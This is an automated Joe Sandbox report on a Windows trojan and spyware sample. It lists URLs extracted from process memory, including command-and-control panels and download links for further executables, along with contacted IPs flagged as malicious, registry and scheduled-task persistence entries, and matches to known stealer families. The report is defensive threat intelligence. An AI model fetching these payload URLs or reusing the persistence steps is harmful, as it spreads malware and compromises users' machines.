https://www.ecosia.org/newtab/	VP2pdCInvS.exe, 0000000B.00000002.2236098359.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, VP2pdCInvS.exe, 0000000B.00000002.2231034006.00000000031EB000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2711798352.0000000003376000.00000004.00000020.00020000.00000000.sdmp	false
http://77.91.77.81/Kiru9gu/index.phptch	axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	false
http://77.91.77.81/Kiru9gu/index.phpyo2	axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://185.216.214.217/cdn-directory/gold543.exe8	axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/08/addressing	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
http://77.91.77.81/Kiru9gu/index.phpK3U	axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	false
http://77.91.77.81/Kiru9gu/index.php:1c	axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	false
https://bflow-musico.fun/Annie%20E.%20Vinton%20Elementary%20School?heajhvyh=HhGyJapR6QHO0GNqPiJwFkKr	build16666.exe, 00000015.00000002.2727499728.00000166282C4000.00000004.00001000.00020000.00000000.sdmp, build16666.exe, 00000015.00000003.2724649462.00000166281EE000.00000004.00000020.00020000.00000000.sdmp	true
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	aspnet_regiis.exe, 00000014.00000002.2829566598.00000000295E5000.00000004.00000020.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	aspnet_regiis.exe, 00000014.00000002.2829566598.00000000295E5000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id10ResponseD	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id5Response	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id15ResponseD	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002DD4000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id10Response	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/sc~	svchost.exe, 0000000D.00000003.2284338374.0000027EC1779000.00000004.00000020.00020000.00000000.sdmp	false
https://api.proxyscrape.comL	svchost.exe, 0000002A.00000002.4552683302.00000000059A2000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id8Response	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecuri	svchost.exe, 0000000D.00000003.4101128405.0000027EC176E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp	false
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 0000000D.00000003.2105360073.0000027EC1710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	false
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	aspnet_regiis.exe, 00000014.00000002.2829566598.00000000295E5000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	false
https://login.microsoftonline.com/ppsecure/devicechangecredential.srfen	svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	false
http://api.proxyscrape.com	svchost.exe, 0000002A.00000002.4552683302.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	false
http://85.28.47.70/570d5d5e8678366c.php7t	aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	false
https://account.live.com/inlinesignup.aspx?iww=1&id=80600e	svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%	svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://77.232.41.110/large/hello.exe	axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	false
http://77.91.77.81/lend/build16666.exe	axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	false
http://85.28.47.70/570d5d5e8678366c.phpt	aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	false
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://85.28.47.70/570d5d5e8678366c.phpEdge	aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003333000.00000004.00000020.00020000.00000000.sdmp	false
http://85.28.47.70/570d5d5e8678366c.phpl	aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id13Response	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
http://85.28.47.70/570d5d5e8678366c.phpq	aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	false
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 0000000D.00000003.4096986997.0000027EC176B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2284338374.0000027EC1779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2237943833.0000027EC1774000.00000004.00000020.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://77.91.77.81/Kiru9gu/index.phpWw	axplong.exe, 00000002.00000002.4456563998.00000000013D3000.00000004.00000020.00020000.00000000.sdmp	false
https://signup.live.com/signup.aspx	svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC172C000.00000004.00000020.00020000.00000000.sdmp	false
http://85.28.47.70/570d5d5e8678366c.phpg	aspnet_regiis.exe, 00000014.00000002.2813138912.00000000033BE000.00000004.00000020.00020000.00000000.sdmp	false
https://account.lid=8(	svchost.exe, 0000000D.00000002.4102771346.0000027EC0E2B000.00000004.00000020.00020000.00000000.sdmp	false
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108652806.0000027EC1756000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	false
https://api.ipify.org/	FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, svchost.exe, 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp	false
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	false
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	false
http://77.232.41.110/large/see.exeOpiumEd1	espartu.exe, 00000022.00000002.4454469033.00000000011A8000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.0000000003211000.00000004.00000800.00020000.00000000.sdmp	false
http://tempuri.org/Entity/Id4ResponseD	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	false
http://85.28.47.70/Otg	aspnet_regiis.exe, 00000014.00000002.2813138912.0000000003317000.00000004.00000020.00020000.00000000.sdmp	false
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 0000000D.00000003.2105979556.0000027EC1752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC1729000.00000004.00000020.00020000.00000000.sdmp	false
http://77.91.77.81/lend/newstart.exe	axplong.exe, 00000002.00000003.3954231435.00000000013E5000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3952923426.00000000013C9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000003.3953303483.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000002.00000002.4456859745.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	VP2pdCInvS.exe, 0000000B.00000002.2231034006.0000000002C38000.00000004.00000800.00020000.00000000.sdmp, newstart.exe, 00000019.00000002.3939528655.00000000032A4000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
174.247.55.150	unknown	United States	22394	CELLCOUS	true
44.213.196.246	unknown	United States	14618	AMAZON-AESUS	false
5.188.66.181	unknown	Kazakhstan	200590	ASNLSKZ	false
31.170.22.127	unknown	Latvia	43513	NANO-ASLV	false
166.0.235.52	unknown	United States	11798	ACEDATACENTERS-AS-1US	true
137.53.152.220	unknown	United States	11995	OHSUUS	true
184.178.172.5	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
67.43.227.228	unknown	Canada	36666	GTCOMMCA	false
107.152.98.5	unknown	United States	46562	TOTAL-SERVER-SOLUTIONSUS	true
46.8.60.2	unknown	Russian Federation	57901	PAUTINA-ASRU	true
199.102.104.70	unknown	United States	20093	ZEROLAGUS	true
119.59.101.111	unknown	Thailand	56067	METRABYTE-TH453LadplacoutJorakhaebuaTH	false
104.31.138.26	unknown	United States	13335	CLOUDFLARENETUS	true
47.121.183.107	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true
177.126.86.78	unknown	Brazil	262352	NOVATELECOMLTDABR	true
113.161.210.60	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	true
47.121.182.88	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true
177.39.193.109	unknown	Brazil	262432	KOFREREPECOMDETELECOMUNICACOESLTDABR	true
200.170.196.94	unknown	Brazil	11432	TeliumTelecomunicacoesLtdaBR	false
75.119.145.154	unknown	United States	13645	BROADBANDONEUS	true
77.232.41.110	unknown	Russian Federation	28968	EUT-ASEUTIPNetworkRU	false
8.213.156.191	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
198.8.94.170	unknown	United States	46562	TOTAL-SERVER-SOLUTIONSUS	false
198.157.68.47	unknown	United States	18676	AVAYAUS	true
197.98.201.15	unknown	South Africa	3741	ISZA	true
115.178.181.15	unknown	Indonesia	18004	WIRELESSNET-IDPTWIRELESSINDONESIAWINID	true
103.152.112.234	unknown	unknown	134687	TWIDC-AS-APTWIDCLimitedHK	true
190.109.72.25	unknown	Brazil	264231	RGCOM-INFORMATICACOMUNICACAOLTDA-MEBR	true
43.129.195.235	unknown	Japan	4249	LILLY-ASUS	true
185.32.47.105	unknown	Azerbaijan	200154	IZONE-ASAZ	true
72.37.216.68	unknown	United States	20093	ZEROLAGUS	true
188.209.246.243	unknown	Yemen	30873	PTC-YEMENNETYE	true
45.79.189.110	unknown	United States	63949	LINODE-APLinodeLLCUS	true
185.172.128.33	unknown	Russian Federation	50916	NADYMSS-ASRU	true
20.247.104.85	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
103.148.45.167	unknown	unknown	139982	BVSNET-AS-IDPTBuanaVisualnetSentraID	false
192.111.139.163	unknown	United States	46562	TOTAL-SERVER-SOLUTIONSUS	true
27.123.3.141	unknown	Indonesia	45706	TGG-AS-IDTeleGlobeGlobalPTID	true
57.139.102.111	unknown	Belgium	2686	ATGS-MMD-ASUS	true
103.111.22.65	unknown	India	133673	KWIKZO-ASKWIKZOComTechnologyPrivateLimitedIN	true
129.126.65.78	unknown	Singapore	17547	M1NET-SG-APM1NETLTDSG	true
103.205.128.7	unknown	India	134850	WAY2INTERNET-AS-INWAY2INTERNETPRIVATELIMITEDIN	true
103.47.93.236	unknown	India	9830	SWIFTONLINE-AS-APSWIFTONLINEBORDERASIN	true
222.165.223.138	unknown	Indonesia	24207	EXPRESSNET-AS-IDPTNettoCyberIndonesiaID	true
180.119.121.185	unknown	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	false
181.28.137.18	unknown	Argentina	10318	TelecomArgentinaSAAR	false
201.71.2.177	unknown	unknown	269920	INVERSIONESRDN3CAVE	true
67.43.228.251	unknown	Canada	36666	GTCOMMCA	true
8.130.36.245	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true
141.105.107.152	unknown	Spain	200064	IB-REDASES	true
107.180.101.226	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
148.72.23.56	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
212.19.171.48	unknown	France	12362	NETPLUSCOM-LEGACYFranceFR	true
117.74.65.207	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	true
104.18.11.5	api.proxyscrape.com	United States	13335	CLOUDFLARENETUS	true
166.0.235.139	unknown	United States	11798	ACEDATACENTERS-AS-1US	true
166.62.121.127	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	false
195.2.76.207	unknown	Russian Federation	48282	VDSINA-ASRU	true
198.12.253.239	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
142.93.49.250	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
178.62.7.98	unknown	European Union	14061	DIGITALOCEAN-ASNUS	true
182.16.175.174	unknown	Indonesia	17995	SOLUSINET-AS-IDPTiForteGlobalInternetID	false
108.179.219.56	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
103.36.35.251	unknown	Indonesia	131111	CEPATNET-AS-IDPTMoraTelematikaIndonesiaID	false
174.64.199.79	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
78.146.180.112	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	true
76.26.114.253	unknown	United States	7922	COMCAST-7922US	true
213.160.71.130	unknown	Germany	12574	ROUTINGFranzstr5152064AachenDE	true
186.248.197.210	unknown	Brazil	23106	AMERICANTOWERDOBRASIL-COMUNICACAOMULTIMIDIALTBR	true
171.254.1.190	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
139.162.238.184	unknown	Netherlands	63949	LINODE-APLinodeLLCUS	false
142.54.235.9	unknown	United States	20093	ZEROLAGUS	true
192.252.214.20	unknown	United States	46562	TOTAL-SERVER-SOLUTIONSUS	true
183.88.157.154	unknown	Thailand	45758	TRIPLETNET-AS-APTripleTInternetTripleTBroadbandTH	true
169.239.223.136	unknown	South Africa	328064	LCOM-ASZA	true
103.124.137.251	unknown	Indonesia	138089	GMDP-AS-IDPTGlobalMediaDataPrimaID	true
200.108.190.129	unknown	unknown	3549	LVLT-3549US	false
8.130.39.117	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true
191.49.163.135	unknown	Brazil	26615	TIMSABR	false
50.63.12.33	unknown	United States	398101	GO-DADDY-COM-LLCUS	true
94.131.7.1	unknown	Ukraine	29632	NASSIST-ASGI	false
125.25.184.10	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
185.122.204.56	unknown	United Kingdom	6842	MBUZZGB	true
213.136.93.115	unknown	Germany	51167	CONTABODE	true
103.54.148.189	unknown	Bangladesh	134128	MEGASPEEDNET-ASMegaSpeedNetBD	true
83.234.147.166	unknown	Russian Federation	20485	TRANSTELECOMMoscowRussiaRU	true
201.204.47.66	unknown	Costa Rica	11830	InstitutoCostarricensedeElectricidadyTelecomCR	true
190.14.155.198	unknown	Costa Rica	52356	RHInternationalTelecomServicesSACR	true
171.217.69.113	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true
170.106.76.24	unknown	Singapore	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	true
211.118.30.69	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
45.6.101.98	unknown	Brazil	266181	GOLDENLINKBR	false
163.47.35.102	unknown	Bangladesh	23688	LINK3-TECH-AS-BD-APLink3TechnologiesLtdBD	false
45.128.133.141	unknown	Estonia	206804	ESTNOC-ASEE	true
181.143.61.124	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
72.10.160.172	unknown	Canada	36666	GTCOMMCA	true
85.28.47.70	unknown	Russian Federation	31643	GES-ASRU	true
43.153.49.49	unknown	Japan	4249	LILLY-ASUS	false
67.227.158.154	unknown	United States	32244	LIQUIDWEBUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1472622
Start date and time:	2024-07-13 07:05:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	mlk3kK6uLZ.exe renamed because original name is a hash value
Original Sample Name:	b85fa0d79d936b8b006c535d006c7f29.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@65/23@4/100
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 56% Number of executed functions: 165 Number of non-executed functions: 140
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.190.159.2, 20.190.159.23, 20.190.159.64, 20.190.159.71, 40.126.31.73, 20.190.159.68, 40.126.31.69, 40.126.31.71, 87.248.205.0, 184.28.90.27, 20.114.59.183, 20.242.39.171, 52.165.164.15, 20.42.65.92, 52.165.165.26
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, glb.cws.prod.dcat.dsp.trafficmanager.net, blobcollector.events.data.trafficmanager.net, sls.update.microsoft.com, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target axplong.exe, PID 760 because there are no executed function
Execution Graph export aborted for target mlk3kK6uLZ.exe, PID 4436 because it is empty
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:05:59	API Interceptor	13713797x Sleep call for process: axplong.exe modified
01:06:05	API Interceptor	122x Sleep call for process: svchost.exe modified
01:06:14	API Interceptor	32x Sleep call for process: VP2pdCInvS.exe modified
01:06:25	API Interceptor	1x Sleep call for process: WerFault.exe modified
01:07:15	API Interceptor	595839x Sleep call for process: Hkbsse.exe modified
01:09:05	API Interceptor	27x Sleep call for process: newstart.exe modified
01:09:14	API Interceptor	395x Sleep call for process: espartu.exe modified
07:05:56	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
07:07:14	Task Scheduler	Run new task: Hkbsse path: C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
07:09:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce espartu.exe C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe
07:09:07	Task Scheduler	Run new task: espartu.exe path: C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe
07:09:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce espartu.exe C:\Users\user\AppData\Local\Temp\110000000011111\espartu.exe
07:09:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run svchost "C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe"
07:09:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run svchost "C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
31.170.22.127	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	heygirlisheeverythingyouwantedinaman.comheygirlisheeverythingyouwantedinaman.com:443
	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	063837646WAYBILLMAR24.exe	Get hash	malicious	RedLine	Browse	artemis-rat.comartemis-rat.com:443
	PO23656PDFF.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	SecuriteInfo.com.Win64.MalwareX-gen.15169.25783.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	dl7WL77rkA.exe	Get hash	malicious	Glupteba, Mars Stealer, Stealc, Vidar	Browse	artemis-rat.comartemis-rat.com:443
	hesaphareketi-01.pdf.exe	Get hash	malicious	Vector Stealer	Browse	artemis-rat.comartemis-rat.com:443
	hesaphareketi-01.pdf.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	DHL shipment arrival.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
	Document 9404658918890577081119475750-pdf.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
184.178.172.5	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	SecuriteInfo.com.Trojan.DownLoaderNET.943.16578.26938.exe	Get hash	malicious	Unknown	Browse	artemis-rat.comartemis-rat.com:443
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	artemis-rat.comartemis-rat.com:443
